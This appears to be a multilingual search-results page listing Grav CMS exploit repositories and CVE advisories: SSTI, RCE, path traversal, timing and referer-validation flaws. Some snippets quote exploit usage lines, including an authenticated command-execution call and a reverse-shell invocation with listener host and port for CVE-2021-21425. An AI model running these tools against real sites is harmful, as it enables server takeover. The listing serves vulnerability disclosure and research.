417 matches found
Grav-CMS-RCE-Authenticated
Grav CMS 远程代码执行(已认证)- CVE-2024-28116 信息 此代码改编自Graver GitHub 仓库,并基于此视频 进行了一些改进。 针对 Grav CMS(版本低于 1.7.45)的利用程序,基于 SSTI + RCE 漏洞,编号 CVE-2024-28116。该脚本会创建一个包含漏洞的页面,执行它,最后在执行后删除该页面。 用法 root@kitploit: python3 GravCMSRCE.py -t http://10.10.10.10 -u 'admin' -p 'S3cureP4ssw0rd' -x 'ping -c 1 10.10.10.9'...
GenGravSSTIExploit
英文 GenGravSSTIExploit 是一个 PoC Python 脚本,利用 Grav CMS 版本 -p :目标 URL,格式为 https://hostname。 :端口号(默认为 80)。 示例: root@kitploit: python GenGravSSTIExploit.py -t http://example.com -p 8080 4. 与 Exploit 交互 如果利用成功,你会获得一个可以执行操作系统命令的 URL: root@kitploit: + RCE payload injected. Visit the malicious page:...
Graver
Graver Descripción Script de prueba de concepto para explotar la SSTI+RCE autenticada en Grav CMS CVE-2024-28116. Crea una página RCE maliciosa en el servidor que ejecuta el Grav CMS vulnerable. Referencias: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 Notas Dado que es una vulnerabilidad...
CVE-2025-50286
Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 通过插件上传实现的认证 RCE(CVE-2025-50286) Grav CMS v1.7.48 配合 Admin Plugin v1.10.48 存在通过“Direct Install”插件上传功能触发的远程代码执行(RCE)漏洞,允许已认证的管理员在服务器上执行任意 PHP 代码。 CVE 编号 CVE-2025-50286 概述 类型: 认证远程代码执行(RCE) 位置: /admin/tools/direct-install(管理面板 工具 直接安装) 影响: 任意 PHP...
grav-cve-2024-28116
CVE-2024-28116 — Grav CMS 中的 SSTI 与沙箱绕过 对 CVE-2024-28116 的分析与 Docker 复现。该漏洞是 Grav CMS 1.7.44 及更早版本中的一个服务端模板注入(SSTI)漏洞,可绕过安全沙箱,已在 1.7.45 版本中修复。 报告者:Maurizio Siddu akabe1 CVSS v3.1 评分:8.8(高危) 修复版本:Grav CMS 1.7.45 仓库结构 vulnerable Dockerfile Grav CMS 1.7.44(存在漏洞) apache.conf Apache 配置 patched...
CVE-2026-65008
CVE-2026-65008 — Grav CMS 2.0.7 认证 RCE CVE-2026-65008 的概念验证:通过 Blueprint::dynamicData 中不受限制的 calluserfuncarray,在 Grav CMS 中实现认证远程代码执行。 拥有 admin.pages(或 api.pages.write)权限的用户可以植入恶意表单 frontmatter。当任何 访客(包括未认证用户)加载页面时,该载荷将以 Web 服务器用户身份执行。 仅限授权测试。 仅可用于您拥有或已获得明确书面许可进行测试的系统。 致谢 角色| ---|--- 漏洞报告者|...
CVE-2021-29440
CVE-2021-29440 Procesamiento Twig inseguro de páginas estáticas que conduce a RCE en Grav CMS 1.7.10 Grav es una plataforma web basada en archivos. El procesamiento Twig de páginas estáticas puede habilitarse en el front matter por cualquier usuario administrativo con permisos para crear o editar...
CVE-2021-21425-RCE
esta es mi versión, encontré muchas en internet pero son demasiado malas USO root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 espera... en 60 segundos obtendrás una shell en tu listener...
CVE-2026-72702
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72696
Grav CMS before 2.0.16 contains a symlink following vulnerability in Scheduler Job::createLockFile that allows local attackers to overwrite arbitrary files by pre-creating symlinks at predictable lock file paths in the world-writable temp directory. Attackers can place a symlink at the predictabl...
CVE-2026-72697
Grav CMS before 2.0.16 contains a path traversal vulnerability in the mediadirectory Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem...
CVE-2026-72695
Grav before 2.0.16 contains a path traversal vulnerability in MediaUploadTrait::deleteFile that allows authenticated users with media management permissions to delete arbitrary files by supplying filenames with directory traversal sequences. The method validates only the basename portion of the...
CVE-2026-72698
Grav CMS before 2.0.16 fails to filter system, site, and theme configuration arrays in sandboxed Twig renders, allowing content editors to read sensitive configuration values. Attackers with page-content edit access can access raw configuration arrays including secrets like cache credentials by...
CVE-2026-72701
Grav CMS before 2.0.16 contains a timing vulnerability in Utils::verifyNonce that uses non-constant-time string comparison with the === operator instead of hashequals for CSRF nonce validation. Attackers can measure response timing differences to recover valid nonce values byte-by-byte through...
EUVD-2026-65219
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet and offsetexists methods that lack field filtering. Attackers with page-edit permissions can call offsetGet on User objects to extract hashed passwords and 2FA secrets, enabling offli...
CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
EUVD-2026-65216
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72702
Grav CMS versions before 2.0.16 contain an origin validation bypass in the Uri::referrer() and Pages::referrerRoute() methods. The root cause is an unanchored string prefix match (str_starts_with($referrer, $base)) with no trailing delimiter, meaning an attacker who controls a domain that begins ...
CVE-2026-72701
Grav CMS before 2.0.16 is affected by a timing side-channel vulnerability in Utils::verifyNonce(). The function uses a non-constant-time string comparison (the === operator) instead of PHP's hash_equals() when validating CSRF nonces . An attacker can measure response-time differences across multi...